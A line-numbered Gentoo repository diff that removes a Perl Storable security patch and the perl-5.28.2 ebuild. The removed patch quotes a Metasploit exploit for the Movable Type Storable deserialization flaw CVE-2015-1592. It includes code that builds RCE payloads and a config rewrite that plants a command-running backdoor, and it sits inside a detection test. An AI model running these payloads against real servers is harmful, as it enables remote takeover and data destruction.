658 |
-- exploit_destructive |
659 |
-- else |
660 |
-- exploit_nondestructive |
661 |
-- end |
662 |
-- end |
663 |
-- |
664 |
--=cut |
665 |
-- |
666 |
--#!/usr/bin/perl |
667 |
-- |
668 |
--# Generate nondestructive config parameter for RCE via Object::MultiType |
669 |
--# and Try::Tiny. The generated value requires minor modification to insert |
670 |
--# the payload inside the system() call and resize the padding. |
671 |
-- |
672 |
--use Storable; |
673 |
-- |
674 |
--{ |
675 |
-- package Object::MultiType; |
676 |
-- use overload '+' => sub { 'ingored' }; |
677 |
--} |
678 |
-- |
679 |
--{ |
680 |
-- package Object::MultiType::Saver; |
681 |
--} |
682 |
-- |
683 |
--#{ |
684 |
--# package DateTime; |
685 |
--# use overload '+' => sub { 'ingored' }; |
686 |
--#} |
687 |
-- |
688 |
--{ |
689 |
-- package Try::Tiny::ScopeGuard; |
690 |
--} |
691 |
-- |
692 |
--my $try_tiny_loader = bless {}, 'DateTime'; |
693 |
--my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver'; |
694 |
--my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType'; |
695 |
--my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard'; |
696 |
-- |
697 |
--my $data = [$try_tiny_loader, $try_tiny_executor]; |
698 |
--my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data); |
699 |
--$frozen1 = unpack 'H*', $frozen1; |
700 |
--#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n"; |
701 |
-- |
702 |
--=pod |
703 |
-- |
704 |
-- def exploit_nondestructive |
705 |
-- print_status("Using nondestructive attack method") |
706 |
-- config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b" |
707 |
-- config_payload << payload.encoded.unpack('H*')[0] |
708 |
-- config_payload << "7d293b" |
709 |
-- config_payload << "23" * (1025 - payload.encoded.length) |
710 |
-- config_payload << "0a657869743b" |
711 |
-- |
712 |
-- print_status("Sending payload (#{payload.raw.length} bytes)") |
713 |
-- |
714 |
-- send_request_cgi({ |
715 |
-- 'method' => 'GET', |
716 |
-- 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
717 |
-- 'vars_get' => { |
718 |
-- '__mode' => 'retry', |
719 |
-- 'step' => 'configure', |
720 |
-- 'config' => config_payload |
721 |
-- } |
722 |
-- }, 5) |
723 |
-- end |
724 |
-- |
725 |
--=cut |
726 |
-- |
727 |
--#!/usr/bin/perl |
728 |
-- |
729 |
--# Generate destructive config parameter to unlink mt-config.cgi |
730 |
-- |
731 |
--use Storable; |
732 |
-- |
733 |
--{ |
734 |
-- package CGITempFile; |
735 |
--} |
736 |
-- |
737 |
--my $unlink_target = "mt-config.cgi"; |
738 |
--my $cgitempfile = bless \$unlink_target, "CGITempFile"; |
739 |
-- |
740 |
--$data = [$cgitempfile]; |
741 |
--my $frozen_data = Storable::freeze($data); |
742 |
--my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data; |
743 |
--$frozen = unpack 'H*', $frozen; |
744 |
--#print "RCE unlink payload requiring CGI: $frozen\n"; |
745 |
-- |
746 |
--# $Storable::DEBUGME = 1; |
747 |
--# $^W = 1; |
748 |
--Storable::thaw($frozen_data); |
749 |
-- |
750 |
--=pod |
751 |
-- |
752 |
--def exploit_destructive |
753 |
-- print_status("Using destructive attack method") |
754 |
-- # First we need to delete mt-config.cgi using the storable injection |
755 |
-- |
756 |
-- print_status("Sending storable injection to unlink mt-config.cgi") |
757 |
-- |
758 |
-- res = send_request_cgi({ |
759 |
-- 'method' => 'GET', |
760 |
-- 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
761 |
-- 'vars_get' => { |
762 |
-- '__mode' => 'retry', |
763 |
-- 'step' => 'configure', |
764 |
-- 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769' |
765 |
-- } |
766 |
-- }) |
767 |
-- |
768 |
-- if res && res.code == 200 |
769 |
-- print_status("Successfully sent unlink request") |
770 |
-- else |
771 |
-- fail_with(Failure::Unknown, "Error sending unlink request") |
772 |
-- end |
773 |
-- |
774 |
-- # Now we rewrite mt-config.cgi to accept a payload |
775 |
-- |
776 |
-- print_status("Rewriting mt-config.cgi to accept the payload") |
777 |
-- |
778 |
-- res = send_request_cgi({ |
779 |
-- 'method' => 'GET', |
780 |
-- 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
781 |
-- 'vars_get' => { |
782 |
-- '__mode' => 'next_step', |
783 |
-- 'step' => 'optional', |
784 |
-- 'default_language' => 'en_us', |
785 |
-- 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1", |
786 |
-- 'set_static_uri_to' => '/', |
787 |
-- 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/', |
788 |
-- } |
789 |
-- }) |
790 |
-- |
791 |
-- if res && res.code == 200 |
792 |
-- print_status("Successfully sent mt-config rewrite request") |
793 |
-- else |
794 |
-- fail_with(Failure::Unknown, "Error sending mt-config rewrite request") |
795 |
-- end |
796 |
-- |
797 |
-- # Finally send the payload |
798 |
-- |
799 |
-- print_status("Sending payload request") |
800 |
-- |
801 |
-- send_request_cgi({ |
802 |
-- 'method' => 'GET', |
803 |
-- 'uri' => normalize_uri(target_uri.path, 'mt.cgi'), |
804 |
-- 'vars_get' => { |
805 |
-- 'xyzzy' => payload.encoded, |
806 |
-- } |
807 |
-- }, 5) |
808 |
-- end |
809 |
-- |
810 |
--=cut |
811 |
-diff --git a/dist/Storable/t/CVE-2015-1592.t b/dist/Storable/t/CVE-2015-1592.t |
812 |
-index 2730cdc..a71f44c 100644 |
813 |
---- a/dist/Storable/t/CVE-2015-1592.t |
814 |
-+++ b/dist/Storable/t/CVE-2015-1592.t |
815 |
-@@ -1,22 +1,21 @@ |
816 |
- #!/usr/bin/perl |
817 |
- |
818 |
- use strict; |
819 |
-+use warnings; |
820 |
- use Test::More; |
821 |
-+use Storable qw(freeze thaw); |
822 |
- plan tests => 1; |
823 |
- |
824 |
--use File::Temp qw(tempdir); |
825 |
--use File::Spec; |
826 |
--my $tmp_dir = tempdir(CLEANUP => 1); |
827 |
--my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit'); |
828 |
-+# this original worked with the packaged exploit, but that |
829 |
-+# triggers virus scanners, so test for the behaviour instead |
830 |
-+my $x = bless \(my $y = "mt-config.cgi"), "CGITempFile"; |
831 |
-+ |
832 |
-+my $frozen = freeze($x); |
833 |
- |
834 |
--my $file = __FILE__; |
835 |
--$file =~ s/\.t$/.inc/; |
836 |
--my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC); |
837 |
--system qq($^X $inc -w "$file" 2>$tmp_file); |
838 |
--open(my $fh, "<", $tmp_file) or die "$tmp_file $!"; |
839 |
- { |
840 |
-- local $/; |
841 |
-- my $err = <$fh>; |
842 |
-- like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/, |
843 |
-- 'Detect CVE-2015-1592'); |
844 |
-+ my $warnings = ''; |
845 |
-+ local $SIG{__WARN__} = sub { $warnings .= "@_" }; |
846 |
-+ thaw($frozen); |
847 |
-+ like($warnings, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/, |
848 |
-+ 'Detect CVE-2015-1592'); |
849 |
- } |
850 |
-diff --git a/dist/Storable/t/dclone.t b/dist/Storable/t/dclone.t |
851 |
-index af3d7f6..ce6c756 100644 |
852 |
---- a/dist/Storable/t/dclone.t |
853 |
-+++ b/dist/Storable/t/dclone.t |
854 |
-@@ -87,6 +87,8 @@ SKIP: { |
855 |
- # Do not fail if Tie::Hash and/or Tie::StdHash is not available |
856 |
- skip 'No Tie::StdHash available', 2 |
857 |
- unless eval { require Tie::Hash; scalar keys %Tie::StdHash:: }; |
858 |
-+ skip 'This version of perl has problems with Tie::StdHash', 2 |
859 |
-+ if $] eq "5.008"; |
860 |
- tie my %tie, "Tie::StdHash" or die $!; |
861 |
- $tie{array} = [1,2,3,4]; |
862 |
- $tie{hash} = {1,2,3,4}; |
863 |
-diff --git a/dist/Storable/t/recurse.t b/dist/Storable/t/recurse.t |
864 |
-index 63fde90..b5967a0 100644 |
865 |
---- a/dist/Storable/t/recurse.t |
866 |
-+++ b/dist/Storable/t/recurse.t |
867 |
-@@ -318,9 +318,11 @@ is($refcount_ok, 1, "check refcount"); |
868 |
- # Small 64bit systems fail with 1200 (c++ debugging), with gcc 3000. |
869 |
- # Optimized 64bit allows up to 33.000 recursion depth. |
870 |
- # with asan the limit is 255 though. |
871 |
-+ |
872 |
-+local $Storable::recursion_limit = 30; |
873 |
-+local $Storable::recursion_limit_hash = 20; |
874 |
- sub MAX_DEPTH () { Storable::stack_depth() } |
875 |
- sub MAX_DEPTH_HASH () { Storable::stack_depth_hash() } |
876 |
--sub OVERFLOW () { 35000 } |
877 |
- { |
878 |
- my $t; |
879 |
- print "# max depth ", MAX_DEPTH, "\n"; |
880 |
-diff --git a/dist/Storable/t/threads.t b/dist/Storable/t/threads.t |
881 |
-index 0bc2486..0b34334 100644 |
882 |
---- a/dist/Storable/t/threads.t |
883 |
-+++ b/dist/Storable/t/threads.t |
884 |
-@@ -28,6 +28,10 @@ sub BEGIN { |
885 |
- print "1..0 # Skip: no threads\n"; |
886 |
- exit 0; |
887 |
- } |
888 |
-+ if ($] eq "5.008" || $] eq "5.010000") { |
889 |
-+ print "1..0 # Skip: threads unreliable in perl-$]\n"; |
890 |
-+ exit 0; |
891 |
-+ } |
892 |
- # - is \W, so can't use \b at start. Negative look ahead and look behind |
893 |
- # works at start/end of string, or where preceded/followed by spaces |
894 |
- if ($] == 5.008002 and eval q{ $Config{'ccflags'} =~ /(?<!\S)-DDEBUGGING(?!\S)/ }) { |
895 |
-diff --git a/mkppport.lst b/mkppport.lst |
896 |
-index a443dac..b3992c8 100644 |
897 |
---- a/mkppport.lst |
898 |
-+++ b/mkppport.lst |
899 |
-@@ -12,3 +12,4 @@ cpan/Win32API-File |
900 |
- dist/IO |
901 |
- dist/PathTools |
902 |
- dist/Time-HiRes |
903 |
-+dist/Storable |
904 |
-diff --git a/win32/GNUmakefile b/win32/GNUmakefile |
905 |
-index 200d8a5..1c163d7 100644 |
906 |
---- a/win32/GNUmakefile |
907 |
-+++ b/win32/GNUmakefile |
908 |
-@@ -1177,7 +1177,7 @@ CFG_VARS = \ |
909 |
- |
910 |
- .PHONY: all info |
911 |
- |
912 |
--all : info rebasePE Extensions_nonxs $(PERLSTATIC) PostExt |
913 |
-+all : info rebasePE Extensions_nonxs $(PERLSTATIC) |
914 |
- |
915 |
- info : |
916 |
- @echo # CCTYPE=$(CCTYPE) |
917 |
-@@ -1621,16 +1621,6 @@ Extensions_clean : |
918 |
- Extensions_realclean : |
919 |
- -if exist $(MINIPERL) $(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --all --target=realclean |
920 |
- |
921 |
--PostExt : ..\lib\Storable\Limit.pm |
922 |
-- |
923 |
--# we need the exe, perl(ver).dll, and the Exporter, Storable, Win32 extensions |
924 |
--# rebasePE most of that, including adjustment for static builds, so we |
925 |
--# just need non-xs extensions |
926 |
--..\lib\Storable\Limit.pm : rebasePE Extensions_nonxs |
927 |
-- $(PLMAKE) -C ..\dist\Storable lib\Storable\Limit.pm |
928 |
-- if not exist ..\lib\Storable mkdir ..\lib\Storable |
929 |
-- copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm |
930 |
-- |
931 |
- # all PE files need to be built by the time this target runs, PP files can still |
932 |
- # be running in parallel like UNIDATAFILES, this target a placeholder for the |
933 |
- # future |
934 |
-diff --git a/win32/Makefile b/win32/Makefile |
935 |
-index 481fcd8..8e7878c 100644 |
936 |
---- a/win32/Makefile |
937 |
-+++ b/win32/Makefile |
938 |
-@@ -948,7 +948,7 @@ CFG_VARS = \ |
939 |
- # |
940 |
- |
941 |
- all : .\config.h ..\git_version.h $(GLOBEXE) $(CONFIGPM) \ |
942 |
-- $(UNIDATAFILES) MakePPPort $(PERLEXE) Extensions_nonxs Extensions PostExt \ |
943 |
-+ $(UNIDATAFILES) MakePPPort $(PERLEXE) Extensions_nonxs Extensions \ |
944 |
- $(PERLSTATIC) |
945 |
- @echo Everything is up to date. '$(MAKE_BARE) test' to run test suite. |
946 |
- |
947 |
-@@ -1234,13 +1234,6 @@ Extensions_clean: |
948 |
- Extensions_realclean: |
949 |
- -if exist $(MINIPERL) $(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(MAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --all --target=realclean |
950 |
- |
951 |
--PostExt: ..\lib\Storable\Limit.pm |
952 |
-- |
953 |
--..\lib\Storable\Limit.pm: $(PERLEXE) Extensions |
954 |
-- cd ..\dist\Storable && $(MAKE) lib\Storable\Limit.pm |
955 |
-- if not exist ..\lib\Storable mkdir ..\lib\Storable |
956 |
-- copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm |
957 |
-- |
958 |
- #------------------------------------------------------------------------------- |
959 |
- |
960 |
- doc: $(PERLEXE) ..\pod\perltoc.pod |
961 |
-@@ -1319,7 +1312,6 @@ distclean: realclean |
962 |
- -del /f $(LIBDIR)\Time\HiRes.pm |
963 |
- -del /f $(LIBDIR)\Unicode\Normalize.pm |
964 |
- -del /f $(LIBDIR)\Math\BigInt\FastCalc.pm |
965 |
-- -del /f $(LIBDIR)\Storable.pm $(LIBDIR)\Storable\Limit.pm |
966 |
- -del /f $(LIBDIR)\Win32.pm |
967 |
- -del /f $(LIBDIR)\Win32CORE.pm |
968 |
- -del /f $(LIBDIR)\Win32API\File.pm |
969 |
-diff --git a/win32/makefile.mk b/win32/makefile.mk |
970 |
-index 7dae753..8122c75 100644 |
971 |
---- a/win32/makefile.mk |
972 |
-+++ b/win32/makefile.mk |
973 |
-@@ -1148,7 +1148,7 @@ CFG_VARS = \ |
974 |
- # Top targets |
975 |
- # |
976 |
- |
977 |
--all : CHECKDMAKE rebasePE Extensions_nonxs $(PERLSTATIC) PostExt |
978 |
-+all : CHECKDMAKE rebasePE Extensions_nonxs $(PERLSTATIC) |
979 |
- |
980 |
- ..\regcomp$(o) : ..\regnodes.h ..\regcharclass.h |
981 |
- |
982 |
-@@ -1572,17 +1572,6 @@ rebasePE : Extensions $(PERLDLL) $(NORMALIZE_DYN) $(PERLEXE) |
983 |
- .ENDIF |
984 |
- $(NOOP) |
985 |
- |
986 |
--PostExt : ..\lib\Storable\Limit.pm |
987 |
-- $(NOOP) |
988 |
-- |
989 |
--# we need the exe, perl(ver).dll, and the Exporter, Storable, Win32 extensions |
990 |
--# rebasePE most of that, including adjustment for static builds, so we |
991 |
--# just need non-xs extensions |
992 |
--..\lib\Storable\Limit.pm : rebasePE Extensions_nonxs |
993 |
-- cd ..\dist\Storable && $(MAKE) lib\Storable\Limit.pm |
994 |
-- if not exist ..\lib\Storable mkdir ..\lib\Storable |
995 |
-- copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm |
996 |
-- |
997 |
- #------------------------------------------------------------------------------- |
998 |
- |
999 |
- |
1000 |
-@@ -1657,7 +1646,7 @@ distclean: realclean |
1001 |
- -del /f $(LIBDIR)\Time\HiRes.pm |
1002 |
- -del /f $(LIBDIR)\Unicode\Normalize.pm |
1003 |
- -del /f $(LIBDIR)\Math\BigInt\FastCalc.pm |
1004 |
-- -del /f $(LIBDIR)\Storable.pm $(LIBDIR)\Storable\Limit.pm |
1005 |
-+ -del /f $(LIBDIR)\Storable.pm |
1006 |
- -del /f $(LIBDIR)\Win32.pm |
1007 |
- -del /f $(LIBDIR)\Win32CORE.pm |
1008 |
- -del /f $(LIBDIR)\Win32API\File.pm |
1009 |
--- |
1010 |
-2.21.0 |
1011 |
- |
1012 |
|
1013 |
diff --git a/dev-lang/perl/perl-5.28.2.ebuild b/dev-lang/perl/perl-5.28.2.ebuild |
1014 |
deleted file mode 100644 |
1015 |
index 9de40db..0000000 |
1016 |
--- a/dev-lang/perl/perl-5.28.2.ebuild |
1017 |
+++ /dev/null |
1018 |
@@ -1,657 +0,0 @@ |
1019 |
-# Copyright 1999-2019 Gentoo Authors |
1020 |
-# Distributed under the terms of the GNU General Public License v2 |
1021 |
- |
1022 |
-EAPI=6 |
1023 |
- |
1024 |
-inherit eutils alternatives flag-o-matic toolchain-funcs multilib multiprocessing |
1025 |
- |
1026 |
-PATCH_VER=2 |
1027 |
-CROSS_VER=1.2.2 |
1028 |
-PATCH_BASE="perl-5.28.2-patches-${PATCH_VER}" |
1029 |
-PATCH_DEV=dilfridge |
1030 |
- |
1031 |
-DIST_AUTHOR=SHAY |
1032 |
- |
1033 |
-# Greatest first, don't include yourself |
1034 |
-# Devel point-releases are not ABI-intercompatible, but stable point releases are |
1035 |
-# BIN_OLDVERSEN is contains only C-ABI-intercompatible versions |
1036 |
-PERL_BIN_OLDVERSEN="5.28.0" |
1037 |
- |
1038 |
-if [[ "${PV##*.}" == "9999" ]]; then |
1039 |
- DIST_VERSION=5.28.0 |
1040 |
-else |
1041 |
- DIST_VERSION="${PV/_rc/-RC}" |
1042 |
-fi |
1043 |
-SHORT_PV="${DIST_VERSION%.*}" |
1044 |
-# Even numbered major versions are ABI intercompatible |
1045 |
-# Odd numbered major versions are not |
1046 |
-if [[ $(( ${SHORT_PV#*.} % 2 )) == 1 ]]; then |
1047 |
- SUBSLOT="${DIST_VERSION%-RC*}" |
1048 |
-else |
1049 |
- SUBSLOT="${DIST_VERSION%.*}" |
1050 |
-fi |
1051 |
-# Used only in tar paths |
1052 |
-MY_P="perl-${DIST_VERSION}" |
1053 |
-# Used in library paths |
1054 |
-MY_PV="${DIST_VERSION%-RC*}" |
1055 |
- |
1056 |
-DESCRIPTION="Larry Wall's Practical Extraction and Report Language" |
1057 |
- |
1058 |
-SRC_URI=" |
1059 |
- mirror://cpan/src/5.0/${MY_P}.tar.xz |
1060 |
- mirror://cpan/authors/id/${DIST_AUTHOR:0:1}/${DIST_AUTHOR:0:2}/${DIST_AUTHOR}/${MY_P}.tar.xz |
1061 |
- https://github.com/gentoo-perl/perl-patchset/releases/download/${PATCH_BASE}/${PATCH_BASE}.tar.xz |
1062 |
- mirror://gentoo/${PATCH_BASE}.tar.xz |
1063 |
- https://dev.gentoo.org/~${PATCH_DEV}/distfiles/${PATCH_BASE}.tar.xz |
1064 |
- https://github.com/arsv/perl-cross/releases/download/${CROSS_VER}/perl-cross-${CROSS_VER}.tar.gz |
1065 |
-" |
1066 |
-HOMEPAGE="https://www.perl.org/" |
1067 |
- |
1068 |
-LICENSE="|| ( Artistic GPL-1+ )" |
1069 |
-SLOT="0/${SUBSLOT}" |
1070 |
- |
1071 |
-if [[ "${PV##*.}" != "9999" ]]; then |
1072 |
-KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~ppc-aix ~x64-cygwin ~amd64-fbsd ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~m68k-mint ~sparc-solaris ~sparc64-solaris ~x64-solaris ~x86-solaris" |
1073 |
-fi |
1074 |
- |
1075 |
-IUSE="berkdb debug doc gdbm ithreads" |
1076 |
- |
1077 |
-RDEPEND=" |
1078 |
- berkdb? ( sys-libs/db:= ) |
1079 |
- gdbm? ( >=sys-libs/gdbm-1.8.3:= ) |
1080 |
- app-arch/bzip2 |
1081 |
- sys-libs/zlib |
1082 |
-" |
1083 |
-DEPEND="${RDEPEND} |
1084 |
- !prefix? ( elibc_FreeBSD? ( sys-freebsd/freebsd-mk-defs ) ) |
1085 |
-" |
1086 |
-PDEPEND=" |
1087 |
- >=app-admin/perl-cleaner-2.5 |
1088 |
- >=virtual/perl-File-Temp-0.230.400-r2 |
1089 |
- >=virtual/perl-Data-Dumper-2.154.0 |
1090 |
- virtual/perl-Test-Harness |
1091 |
-" |
1092 |
-# bug 390719, bug 523624 |
1093 |
-# virtual/perl-Test-Harness is here for the bundled ExtUtils::MakeMaker |
1094 |
- |
1095 |
-S="${WORKDIR}/${MY_P}" |
1096 |
- |
1097 |
-dual_scripts() { |
1098 |
- src_remove_dual perl-core/Archive-Tar 2.300.0 ptar ptardiff ptargrep |
1099 |
- src_remove_dual perl-core/CPAN 2.200.0 cpan |
1100 |
- src_remove_dual perl-core/Digest-SHA 6.10.0 shasum |
1101 |
- src_remove_dual perl-core/Encode 2.970.0 enc2xs piconv |
1102 |
- src_remove_dual perl-core/ExtUtils-MakeMaker 7.340.0 instmodsh |
1103 |
- src_remove_dual perl-core/ExtUtils-ParseXS 3.390.0 xsubpp |
1104 |
- src_remove_dual perl-core/IO-Compress 2.74.0 zipdetails |
1105 |
- src_remove_dual perl-core/JSON-PP 2.970.10 json_pp |
1106 |
- src_remove_dual perl-core/Module-CoreList 5.201.904.190 corelist |
1107 |
- src_remove_dual perl-core/Pod-Parser 1.630.0 pod2usage podchecker podselect |
1108 |
- src_remove_dual perl-core/Pod-Perldoc 3.280.100 perldoc |
1109 |
- src_remove_dual perl-core/Test-Harness 3.420.0 prove |
1110 |
- src_remove_dual perl-core/podlators 4.100.0 pod2man pod2text |
1111 |
- src_remove_dual_man perl-core/podlators 4.100.0 /usr/share/man/man1/perlpodstyle.1 |
1112 |
-} |
1113 |
- |
1114 |
-check_rebuild() { |
1115 |
- # Fresh install |
1116 |
- if [[ -z "${REPLACING_VERSIONS}" ]]; then |
1117 |
- return 0; |
1118 |
- # Major Upgrade |
1119 |
- # doesn't matter if there's multiple copies, it still needs a rebuild |
1120 |
- # if the string is anything other than "5.CURRENTMAJOR" |
1121 |
- elif [[ "${REPLACING_VERSIONS%.*}" != "${PV%.*}" ]]; then |
1122 |
- echo "" |
1123 |
- ewarn "UPDATE THE PERL MODULES:" |
1124 |
- ewarn "After updating dev-lang/perl the installed Perl modules" |
1125 |
- ewarn "have to be re-installed. In most cases, this is done automatically" |
1126 |
- ewarn "by the package manager, but subsequent steps are still recommended" |
1127 |
- ewarn "to ensure system consistency." |
1128 |
- ewarn |
1129 |
- ewarn "You should start with a depclean to remove any unused perl dependencies" |
1130 |
- ewarn "that may confuse portage in future. Regular depcleans are also encouraged" |
1131 |
- ewarn "as part of your regular update cycle, as that will keep perl upgrades working." |
1132 |
- ewarn "Recommended: emerge --depclean -va" |
1133 |
- ewarn |
1134 |
- ewarn "You should then call perl-cleaner to clean up any old files and trigger any" |
1135 |
- ewarn "remaining rebuilds portage may have missed." |
1136 |
- ewarn "Use: perl-cleaner --all" |
1137 |
- return 0; |
1138 |
- |
1139 |
- # Reinstall w/ USE Change |
1140 |
- elif ( use ithreads && ! has_version dev-lang/perl[ithreads] ) || \ |
1141 |
- ( ! use ithreads && has_version dev-lang/perl[ithreads] ) || \ |
1142 |
- ( use debug && ! has_version dev-lang/perl[debug] ) || \ |
1143 |
- ( ! use debug && has_version dev-lang/perl[debug] ) ; then |
1144 |
- echo "" |
1145 |
- ewarn "TOGGLED USE-FLAGS WARNING:" |
1146 |
- ewarn "You changed one of the use-flags ithreads or debug." |
1147 |
- ewarn "You must rebuild all perl-modules installed." |
1148 |
- ewarn "Use: perl-cleaner --modules ; perl-cleaner --force --libperl" |
1149 |
- fi |
1150 |
-} |
1151 |
- |
1152 |
-pkg_setup() { |
1153 |
- case ${CHOST} in |
1154 |
- *-freebsd*) osname="freebsd" ;; |
1155 |
- *-dragonfly*) osname="dragonfly" ;; |
1156 |
- *-netbsd*) osname="netbsd" ;; |
1157 |
- *-openbsd*) osname="openbsd" ;; |
1158 |
- *-darwin*) osname="darwin" ;; |
1159 |
- *-solaris*) osname="solaris" ;; |
1160 |
- *-interix*) osname="interix" ;; |
1161 |
- *-aix*) osname="aix" ;; |
1162 |
- *-cygwin*) osname="cygwin" ;; |
1163 |
- *) osname="linux" ;; |
1164 |
- esac |
1165 |
- |
1166 |
- myarch="${CHOST%%-*}-${osname}" |
1167 |
- if use debug ; then |
1168 |
- myarch+="-debug" |
1169 |
- fi |
1170 |
- if use ithreads ; then |
1171 |
- mythreading="-multi" |
1172 |
- myarch+="-thread" |
1173 |
- fi |
1174 |
- |
1175 |
- PRIV_BASE="/usr/$(get_libdir)/perl5" |
1176 |
- SITE_BASE="/usr/local/$(get_libdir)/perl5" |
1177 |
- VENDOR_BASE="/usr/$(get_libdir)/perl5/vendor_perl" |
1178 |
- |
1179 |
- LIBPERL="libperl$(get_libname ${MY_PV} )" |
1180 |
- PRIV_LIB="${PRIV_BASE}/${MY_PV}" |
1181 |
- ARCH_LIB="${PRIV_BASE}/${MY_PV}/${myarch}${mythreading}" |
1182 |
- SITE_LIB="${SITE_BASE}/${MY_PV}" |
1183 |
- SITE_ARCH="${SITE_BASE}/${MY_PV}/${myarch}${mythreading}" |
1184 |
- VENDOR_LIB="${VENDOR_BASE}/${MY_PV}" |
1185 |
- VENDOR_ARCH="${VENDOR_BASE}/${MY_PV}/${myarch}${mythreading}" |
1186 |
- |
1187 |
- dual_scripts |
1188 |
-} |
1189 |
- |
1190 |
-src_remove_dual_file() { |
1191 |
- local i pkg ver |
1192 |
- pkg="$1" |
1193 |
- ver="$2" |
1194 |
- shift 2 |
1195 |
- case "${EBUILD_PHASE:-none}" in |
1196 |
- postinst|postrm) |
1197 |
- for i in "$@" ; do |
1198 |
- alternatives_auto_makesym "${i}" "${i}-[0-9]*" |
1199 |
- done |
1200 |
- ;; |
1201 |
- setup) |
1202 |
- for i in "$@" ; do |
1203 |
- if [[ -f ${EROOT}${i} && ! -h ${EROOT}${i} ]] ; then |
1204 |
- has_version ${pkg} && ewarn "You must reinstall ${pkg} !" |
1205 |
- break |
1206 |
- fi |
1207 |
- done |
1208 |
- ;; |
1209 |
- install) |
1210 |
- for i in "$@" ; do |
1211 |
- if ! [[ -f "${ED}"${i} ]] ; then |
1212 |
- ewarn "${i} does not exist!" |
1213 |
- continue |
1214 |
- fi |
1215 |
- mv "${ED}"${i}{,-${ver}-${P}} || die |
1216 |
- done |
1217 |
- ;; |
1218 |
- esac |
1219 |
-} |
1220 |
- |
1221 |
-src_remove_dual_man() { |
1222 |
- local i pkg ver ff |
1223 |
- pkg="$1" |
1224 |
- ver="$2" |
1225 |
- shift 2 |
1226 |
- case "${EBUILD_PHASE:-none}" in |
1227 |
- postinst|postrm) |
1228 |
- for i in "$@" ; do |
1229 |
- ff=`echo "${EROOT}${i%.[0-9]}-${ver}-${P}${i#${i%.[0-9]}}"*` |
1230 |
- ff=${ff##*${i#${i%.[0-9]}}} |
1231 |
- alternatives_auto_makesym "${i}${ff}" "${i%.[0-9]}-[0-9]*" |
1232 |
- done |
1233 |
- ;; |
1234 |
- install) |
1235 |
- for i in "$@" ; do |
1236 |
- if ! [[ -f "${ED}"${i} ]] ; then |
1237 |
- ewarn "${i} does not exist!" |
1238 |
- continue |
1239 |
- fi |
1240 |
- mv "${ED}"${i} "${ED}"${i%.[0-9]}-${ver}-${P}${i#${i%.[0-9]}} || die |
1241 |
- done |
1242 |
- ;; |
1243 |
- esac |
1244 |
-} |
1245 |
- |
1246 |
-src_remove_dual() { |
1247 |
- local i pkg ver |
1248 |
- pkg="$1" |
1249 |
- ver="$2" |
1250 |
- shift 2 |
1251 |
- for i in "$@" ; do |
1252 |
- src_remove_dual_file "${pkg}" "${ver}" "/usr/bin/${i}" |
1253 |
- src_remove_dual_man "${pkg}" "${ver}" "/usr/share/man/man1/${i}.1" |
1254 |
- done |
1255 |
-} |
1256 |
- |
1257 |
-src_prepare_update_patchlevel_h() { |
1258 |
- # Copied and modified from debian: |
1259 |
- # Copyright 2011 Niko Tyni |
1260 |
- # This program is free software; you can redistribute it and/or modify |
1261 |
- # it under the same terms as Perl itself. |
1262 |
- local patchdir="${WORKDIR}/patches" |
1263 |
- local prefix |
1264 |
- local patchoutput="patchlevel-gentoo.h" |
1265 |
- |
1266 |
- [[ -f ${patchdir}/series ]] || return 0 |
1267 |
- |
1268 |
-while read patch |
1269 |
-do |
1270 |
- patchname=$(echo $patch | sed 's/\.diff$//') |
1271 |
- < $patchdir/$patch sed -e '/^Subject:/ { N; s/\n / / }' | sed -n -e ' |
1272 |
- |
1273 |
- # massage the patch headers |
1274 |
- s|^Bug: .*https\?://rt\.perl\.org/.*id=\(.*\).*|[perl #\1]|; tprepend; |
1275 |
- s|^Bug: .*https\?://rt\.cpan\.org/.*id=\(.*\).*|[rt.cpan.org #\1]|; tprepend; |
1276 |
- s|^Bug-Gentoo: ||; tprepend; |
1277 |
- s/^\(Subject\|Description\): //; tappend; |
1278 |
- s|^Origin: .*http://perl5\.git\.perl\.org/perl\.git/commit\(diff\)\?/\(.......\).*|[\2]|; tprepend; |
1279 |
- |
1280 |
- # post-process at the end of input |
1281 |
- $ { x; |
1282 |
- # include the version number in the patchlevel.h description (if available) |
1283 |
